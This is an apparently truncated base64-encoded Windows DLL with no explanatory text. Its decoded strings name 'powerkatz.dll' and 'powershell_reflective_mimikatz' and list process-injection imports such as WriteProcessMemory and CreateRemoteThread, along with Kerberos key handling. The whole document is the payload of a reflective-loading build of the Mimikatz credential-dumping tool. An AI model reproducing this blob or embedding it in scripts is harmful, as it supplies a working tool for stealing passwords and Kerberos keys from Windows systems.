R1YWxBbGxvY0V4AAC0A1dyaXRlUHJvY2Vzc01lbW9yeQAAZAJNYXBWaWV3T2ZGaWxlAHgDVW5tYXBWaWV3T2ZGaWxlAFgAQ3JlYXRlRmlsZU1hcHBpbmdXAABbAkxvY2FsUmVBbGxvYwAAbABDcmVhdGVQcm9jZXNzVwAALwNTZXRMYXN0RXJyb3IAAJcDV2FpdEZvclNpbmdsZU9iamVjdABtAENyZWF0ZVJlbW90ZVRocmVhZAAASwFHZXREYXRlRm9ybWF0VwAA4wFHZXRUaW1lRm9ybWF0VwAAxwBGaWxlVGltZVRvTG9jYWxGaWxlVGltZQDYAEZpbmRGaXJzdEZpbGVXAADMAUdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAGQBR2V0RmlsZUF0dHJpYnV0ZXNXAADRAEZpbmRDbG9zZQDgAEZpbmROZXh0RmlsZVcA+wBGcmVlTGlicmFyeQBRAkxvYWRMaWJyYXJ5VwAAogFHZXRQcm9jQWRkcmVzcwAAhAFHZXRNb2R1bGVIYW5kbGVXAAD5AlNldENvbnNvbGVDdXJzb3JQb3NpdGlvbgAAuwFHZXRTdGRIYW5kbGUAAMsARmlsbENvbnNvbGVPdXRwdXRDaGFyYWN0ZXJXADoBR2V0Q29uc29sZVNjcmVlbkJ1ZmZlckluZm8AABIDU2V0Q3VycmVudERpcmVjdG9yeVcAAEgBR2V0Q3VycmVudFRocmVhZAAARgFHZXRDdXJyZW50UHJvY2Vzc0lkAEtFUk5FTDMyLmRsbAAABAVfdnNjd3ByaW50ZgBaBXdjc3JjaHIAUQV3Y3NjaHIAAAcFX3djc2ljbXAAAPoEX3N0cmljbXAAAAkFX3djc25pY21wAFwFd2Nzc3RyAABfBXdjc3RvdWwAXQV3Y3N0b2wAAAoFX3djc3RvdWk2NAAA9gBfZXJybm8AAOAEdmZ3cHJpbnRmACcEZmZsdXNoAACxA193Zm9wZW4ADAFfZmlsZW5vAG8BX2lvYgAAJARmY2xvc2UAADoEZnJlZQAAdANfd2NzZHVwAG1zdmNydC5kbGwAAIAEbWVtY3B5AACEBG1lbXNldAAAUwBfX0Nfc3BlY2lmaWNfaGFuZGxlcgAAUgBfWGNwdEZpbHRlcgB0BG1hbGxvYwAAbAFfaW5pdHRlcm0AoABfYW1zZ19leGl0AA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AAAAYAAAAAAAAA8HUDgAEAAAD8////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAAAAAACB2A4ABAAAAAQAAAAAAAABRZQOAAQAAAP7///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkAAAAAAAAAMHYDgAEAAAABAAAAAAAAAFFlA4ABAAAA8P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAAAAAAAA8dgOAAQAAAAYAAAAAAAAA8HUDgAEAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAAAAAAAAAEh2A4ABAAAAAQAAAAAAAABRZQOAAQAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAWHYDgAEAAAABAAAAAAAAAFFlA4ABAAAA/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAAAAAAABgdgOAAQAAAAEAAAAAAAAAUWUDgAEAAADz////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAGh2A4ABAAAABgAAAAAAAADwdQOAAQAAAPX///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAAAAAAAAcHYDgAEAAAAGAAAAAAAAAPB1A4ABAAAA/P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAAAAAACAdgOAAQAAAAEAAAAAAAAAUWUDgAEAAAD+////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAJB2A4ABAAAAAQAAAAAAAABRZQOAAQAAAPD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAnHYDgAEAAAAGAAAAAAAAAPB1A4ABAAAAEg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